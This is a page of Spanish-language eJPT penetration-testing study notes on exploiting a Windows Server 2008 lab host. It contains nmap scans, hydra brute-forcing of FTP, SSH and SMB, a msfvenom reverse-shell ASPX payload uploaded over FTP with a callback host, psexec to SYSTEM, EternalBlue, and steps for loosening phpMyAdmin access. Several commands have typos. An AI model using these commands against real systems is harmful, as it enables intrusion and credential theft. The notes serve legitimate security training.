eJPT
  • 👋Welcome
  • Tools
    • 🔭Escaneo y Enumeración
  • SECTION 1: Assessment Methodologies
    • Assessment Methodologies: Information Gathering
      • Introducción a la Recopilación de Información
        • Start Quiz
      • Passive Information Gathering
      • Active Information Gathering
    • Assessment Methodologies: Footprinting & Scanning
      • Introduction
      • Networking Primer
      • Host Discovery
      • Port Scanning
      • Evasion, Scan Performance & Output
      • Page
      • Challenges
    • Assessment Methodologies: Enumeration
      • Overview
      • SMB Lesson
      • FTP Lesson
      • SSH Lesson
      • HTTP Lesson
      • SQL Lesson
    • Assessment Methodologies: Vulnerability Assessment
      • Vulnerability Assessment
      • Course Labs
  • SECTION 2: Host & Networking Auditing
    • Assessment Methodologies: Auditing Fundamentals
      • Assessment Methodologies
      • Practice
  • SECTION 3: Host & Network Penetration Testing
    • Host & Network Penetration Testing: System/Host Based Attacks
      • Introduction to Attacks
      • Windows Vulnerabilities
      • Exploiting Windows Vulnerabilities
      • Windows Privilege Escalation
      • Windows File System Vulnerabilities
      • Windows Credential Dumping
      • Linux Vulnerabilities
      • Exploiting Linux Vulnerabilities
      • Linux Privilege Escalation
      • Linux Credential Dumping
      • Conclusion
    • Host & Network Penetration Testing: Network-Based Attacks
      • Network-Based Attacks
    • Host & Network Penetration Testing: The Metasploit Framework (MSF)
      • Metasploit
        • Metasploit Fundamentals
      • Information Gathering & Enumeration
        • Nmap
        • Enumeration
      • Vulnerability Scanning
        • MSF
        • Nessus
        • Web Apps
      • Client-Side Attacks
        • Payloads
        • Automating
      • Exploitation
        • Windows Exploitation
        • Linux Exploitation
        • Post Exploitation Fundamentals
        • Windows Post Exploitation
        • Linux Post Exploitation
      • Armitage
        • Metasploit GUIs
    • Host & Network Penetration Testing: Exploitation
      • Introduction To Exploitation
      • Vulnerability Scanning Overview
      • Exploits
        • Searching For Exploits
        • Fixing Exploits
      • Shells
      • Frameworks
      • Windows
      • Linux
      • Obfuscation
    • Host & Network Penetration Testing: Post-Exploitation
      • Introduction
      • Windows Enumeration
      • Linux Enumeration
      • Transferring Files
      • Shells
      • Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
      • Persistence
        • Windows Persistence
        • Linux Persistence
      • Dumping & Cracking
        • Windows Password Hashes
        • Linux Password Hashes
      • Pivoting Lesson
      • Clearing
  • Host & Network Penetration Testing: Social Engineering
    • Social Engineering
  • SECTION 4: Web Application Penetration Testing
    • Introduction to the Web & HTTP Protocol
      • Web Applications
      • HTTP Protocol
        • HTTP/S Protocol Fundamentals
        • Website Crawling & Spidering
Powered by GitBook
On this page
  • Penetration Testing Phases
  • Black Box Methodology
  • Scenario & Scope
  • Quiz: Windows Black Box Penetration Test
  • Port Scanning & Enumeration - Windows
  • Demo: Port Scanning & Enumeration
  • Quiz: Port Scanning & Enumeration - Windows
  • Targeting Microsoft IIS FTP
  • Demo: Targeting Microsoft IIS FTP
  • Quiz: Targeting Microsoft IIS FTP
  • Targeting OpenSSH
  • Demo: Targeting OpenSSH
  • Quiz: Targeting OpenSSH
  • Targeting SMB
  • Demo: Targeting SMB
  • Quiz: Targeting SMB
  • Targeting MySQL Database Server
  • Demo: Targeting MySQL Database Server
  • Quiz: MySQL Database Server
  1. SECTION 3: Host & Network Penetration Testing
  2. Host & Network Penetration Testing: Exploitation

Windows

Windows Exploitation

Windows Black Box Penetration Test

Una prueba de penetración de caja negra es una evaluación de seguridad en la que el evaluador de penetración no recibe ninguna información sobre el sistema o la red de destino (no se proporcionan rangos de IP, información del sistema ni credenciales predeterminadas).

El objetivo de una prueba de penetración de caja negra es probar con precisión la seguridad de un sistema o red como un adversario externo sin privilegios.

Este enfoque es muy útil ya que demuestra cómo un atacante externo sin conocimiento interno comprometería los sistemas o redes de una empresa.

Penetration Testing Phases

El siguiente diagrama describe las distintas fases involucradas en una prueba de penetración típica.

Black Box Methodology

  1. Host discovery

  2. Port scanning & enumeration

  3. Vulnerability detection/scanning

  4. Exploitation

    1. Manual

    2. Automated

  5. Post Exploitation

    1. Privilege Escalation

    2. Persistence

    3. Dumping Hashes

Scenario & Scope

Acabas de comenzar tu primer trabajo como evaluador de penetración junior y te han asignado la tarea de ayudar a realizar una prueba de penetración en la red de un cliente.

El responsable de la prueba de penetración te ha asignado la tarea de obtener acceso/explotar un host que ejecuta Windows Server 2008.

Tus objetivos principales son:

  • Identificar los servicios que se ejecutan en el objetivo

  • Identificar las vulnerabilidades dentro de los servicios

  • Explotar estas vulnerabilidades para obtener un punto de apoyo inicial

Nota: Tienes permitido utilizar el marco Metasploit

Quiz: Windows Black Box Penetration Test

Port Scanning & Enumeration - Windows

Para realizar el escaneo de puertos, utilizamos nmap, una herramienta poderosa de escaneo de redes. Aquí hay un comando de ejemplo para escanear puertos abiertos:

nmap -sS -p- <objetivo>

Enumeración de Servicios

Una vez que hayas identificado los puertos abiertos, el siguiente paso es enumerar los servicios que se ejecutan en esos puertos. Por ejemplo:

nmap -sV -p <número_de_puerto> <objetivo>

Después de ejecutar los comandos anteriores, recibirás una lista de servicios y versiones que luego pueden ser revisados en busca de vulnerabilidades conocidas.

Demo: Port Scanning & Enumeration

# Identificar la IP del objetivo

# Validar la comunicacion una opcion puede ser haciendolo ping

# Identificamos los servicios comunes

# Realizamos un escaneo personalizado
nmap -T4 -PA -sC -sV -p 1-10000 10.0.22.85 -oX nmap_10k

# Probar conexiones con Netcat
nc -nv 10.0.22.85 21

# Ver y probar cada servicio indentificado


# Iniciamos metasploit
sf6 > workspace -a Win2k8
sf6 > workspace

sf6 > db_import / root/Desktop/Win2k8/nmap_10k
msf6 > hosts
msf6 > services
msf6 > search smb version
msf6 > use 0
msf6 auxiliary(scanner/smb/smb_version) > show options
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.22.85
msf6 auxiliary(scanner/smb/smb_version) > run
msf6 auxiliary(scanner/smb/smb_version) > services

# Otra opcion de escaneo
nmap -T4 -PA -sC -sV -p 1-65535 10.0.22.85 -oX nmap_all

Quiz: Port Scanning & Enumeration - Windows

Targeting Microsoft IIS FTP

Demo: Targeting Microsoft IIS FTP

nmap -sv -sc -p21,80 10.0.28.97

ls -al /usr/share/nmap/scripts/ | grep ftp-

nmap -sv -p 21 --script=ftp-anon 10.0.28.97

# Verificar el acceso anonimo

# Probar ataque de fuerza bruta
hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt 10.0.28.97 ftp
# Tambien puede probar con una cuenta especifica y no asi con un diccionario
# Tambien el diccionario de usuarios puede ser utilizado como contraseñas

# Creamos un payload para IIS y FTP, el cual copila archivos ASPX
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.16.2 LPORT=1234 -f asp > shell.aspx
# Transferimos el archivo por FTP con las credenciales obteneidas
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.16.2
msf6 exploit(multi/handler) > set LPORT 1234
run


# Pude modificar el sitio web
ftp > get index.html
# modificar el HTML
ftp > put index.html

Quiz: Targeting Microsoft IIS FTP

Targeting OpenSSH

Demo: Targeting OpenSSH


map -sv -sc -p 22 10.0.26.161

# buscar vulnerabilidad con respecto a la version del servicio
searchsploit OpenSSH 7.1

# Probar un ataque de fuerza bruta
hydra -l vagrant -P /usr/share/wordlists/metasploit/unix_users.txt 10.0.26.161 ssh
hydra -l administrator -P /usr/share/wordlists/metasploit/unix_users .txt 10.0.26.161 ssh

# Conexion por ssh con las credenciales encontradas
ssh vagrant@<Target>
# en caso de que el shell lo vea raro puede ejecutar
bash
/bin/bash
# Verificar los privilegios del usuario


msf6 > search ssh_login
msf6 > use 0

msf6 auxiliary(scanner/ssh/ssh_togin) > set USERNAME vagrant
msf6 auxiliary(scanner/ssh/ssh_togin) > set PASSWORD vagrant
msf6 auxiliary(scanner/ssh/ssh_togin) > set RHOSTS 10.0.26.161
msf6 auxiliary(scanner/ssh/ssh_togin) > run
# Ingresar a la session y salir para escalar privilegios
msf6 auxiliary(scanner/ssh/ssh_togin) > sessions -u 1


Quiz: Targeting OpenSSH

Targeting SMB

Demo: Targeting SMB

# Realizar un analisis para la deteccion del servicio
nmap -sV -sC -p 445 10.0.31.252

# Obtener las credenciales o obtener los nombres de usuario para realizar ataques de fuerza bruta
hydra -l administrator -P /usr/share/wordlists/metasploit/unix_users.txt 10.0.31.252 smb
hydra -l vagrant -P /usr/share/wordlists/metasploit/unix_users.txt 10.0.31.252 smb

smbclient -L 10.0.31.252 -U vagrant
smbmap -u vagrant -p vagrant -H 10.0.31.252

# Enumerar usuarios
enum41inux -u vagrant -p vagrant -U 10.0.31.252

# utilizando metasploit
msf6 > search smb_enumusers
msf6 > use 1
msf6 auxiliary(scanner/smb/smb_enumusers) > show options
msf6 auxiliary(scanner/smb/smb_enumusers) > set RHOSTS 10.0.31.252
msf6 auxiliary(scanner/smb/smb_enumusers) > set SMBUser vagrant
msf6 auxiliary(scanner/smb/smb_enumusers) > set SMBPass vagrant
msf6 auxiliary(scanner/smb/smb_enumusers) > run

# Puede auhtenticarse usando la herramienta PSEXEC y elevar sus privilegios
locate psexec.py
cp /usr/shaf/doc/python3-impacket/examples/psexec.py .
chmod +x psexec.py
python3 psexec.py Administrator@10.0.31.252

C:\Windows\system32> whoami
nt authority\system

# Tambien se puede hacer lo mismo desde metasploit
msf6 auxiliary(scanner/smb/psexec_toggedin_users) > search psexec
msf6 auxiliary(scanner/smb/psexec_toggedin_users) > use 4
msf6 exploit (windows/smb/psexec) > set RHOSTS 10.0.31.252
msf6 exploit (windows/smb/psexec) > set SMBUser Administrator
msf6 exploit (windows/smb/psexec) > set SMBPass vagrant
msf6 exploit (windows/smb/psexec) > exploit

# En caso de que no tibieramos ningunas credenciales nos toca buscar vulnerabilidades por SO
# El WIN2008R2 es vulnerable a EternalBlue y puedes usar un exploit para 

Quiz: Targeting SMB

Targeting MySQL Database Server

Demo: Targeting MySQL Database Server

# Identificamos los serivicios
nmap -sv -sc -p 3306,8585 10.0.25.212
searchsploit MySQL 5.5


msf6 > search mysql_login
msf6 > use 0
msf6 auxiliary(scanner/mysqt/mysql_login) > show options
set RHOSTS 10.0.25.212
set PASS FILE /usr/share/wordlists/metasploit/unix_passwords.txt
run


# Test de conexion
mysql -u root -p -h 10.0.25.212

# MYSQL
MySQL [(none)]> show databases;


msf6 > search eternalblue
msf6 > use 0
msf6 exploit(windows/smb/ms17_010_eternatbtue) > set RHOSTS 10.0.25.212
msf6 exploit(windows/smb/ms17_010_eternatbtue) > exploit

meterpreter > cd www\\
meterpreter > ls
Listing: C:\wamp\www
# configuracion de wordpress
meterpreter > cat wp-config.php
# Para resetear la contraseña del Administrador de postgres se debe de hacer desde el MYSQL

# Ver configuracion
meterpreter > cd alias\\
meterpreter > ls
Listing: C:\wamp\alias
# Descargar el archivo de configuracion
meterpreter > download phpmyadmin.conf
# Modificar el Archivo
# Eliminar todo lo que sea prejudicial
    <Directory "c:/wamp/apps/phpmyadmin3.4.10.1/" >
    Options Indexes FollowSymLinks MultiViews
    AllowOverride all
    Allow from all
    </Directory>
    
# Transferir el archivo

# Reiniciar el servicio
meterpreter > shell
C:\wamp\alias>net stop wampapache
C:\wamp\alias>net start wampapache


# Despues de ingresar al sitio de adminsitracion de base de datos
# Puede setear un password con hash MD5 una contraseña

Quiz: MySQL Database Server

PreviousFrameworksNextLinux

Last updated 8 months ago